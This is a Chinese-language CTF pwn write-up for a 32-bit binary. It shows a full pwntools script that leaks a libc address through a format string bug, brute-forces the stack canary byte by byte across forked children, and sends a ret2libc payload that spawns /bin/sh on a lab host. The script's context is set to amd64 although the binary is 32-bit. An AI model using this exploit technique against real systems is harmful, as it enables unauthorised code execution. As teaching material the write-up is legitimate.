32位動態連接程序,開啓了數據段不可執行以及棧溢出保護
在函數中sub_80487fa中有一個格式化字符串漏洞和read函數棧溢出漏洞
首先不用說,確定得先想辦法棧溢出,溢出函數咱們已經找到,接下來的問題就是得泄露出canary的值,從而繞過棧溢出保護。咱們固然能夠經過格式化字符串漏洞泄露canary的值,也另一種方法就是爆破得到canary的值。程序中有fork函數,經過fork函數打開的子進程因爆破失敗結束了也不會影響父進程,藉此咱們能夠不斷調用子進程來爆破canary的值。得到canary的值後,因題目給了libc,咱們只要隨便泄露出庫函數的地址,藉此計算system與/bin/sh的地址,再經過rop技術,便可pwn掉程序。
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.3', 10001) canary = '\x00' #canary最低字節必爲\x00 for i in xrange(3): for j in xrange(256): io.sendline('Y') io.recv() io.sendline('%5$p') #泄露棧上的libc地址 io.recvuntil('game ') leak_libc_addr = int(io.recv(10), 16) io.recv() payload = 'A'*16 #構造payload爆破canary payload += canary payload += chr(j) #逐字節爆破canary io.send(payload) io.recv() if ("" != io.recv(timeout = 0.1)): #若是canary的字節位爆破正確,應該輸出兩個"[*] Do you love me?",所以經過第二個recv的結果判斷是否成功 canary += chr(j) #將正確字節拼接上 log.info('At round %d find canary byte %#x' %(i, j)) break log.info('Canary is %#x' %(u32(canary))) system_addr = leak_libc_addr - 0x1b6e00 + 0x3b060 #0x1b6e00和0x3b060分別爲IO_2_1_stdin_距離libc頭部偏移 binsh_addr = leak_libc_addr - 0x1b6e00 + 0x15fa0f #/bin/sh字符串距離libc頭部偏移 log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr)) payload = '' #構造payload執行system('/bin/sh') payload += 'A'*16 payload += canary #將canary放在正確的位置 payload += 'B'*12 payload += p32(system_addr) payload += 'CCCC' #返回地址任填 payload += p32(binsh_addr) io.sendline('Y') #[*] Do you love me? io.recv() io.sendline('1') #[*] Input Your name please: 隨便一個輸入 io.recv() io.send(payload) #[*] Input Your Id: 漏洞產生點 io.interactive()
原文中泄露的libc中的地址是_cxa_atexit+25,可是經過我比較發現,不一樣庫同一函數的代碼多是不同的
我電腦使用的libc的_cxa_atexit
python
題目給的libc
linux
因此說咱們在計算函數在內存中的偏移時,最好使用函數名或者全局變量(好比說上文使用的IO_2_1_stdin_)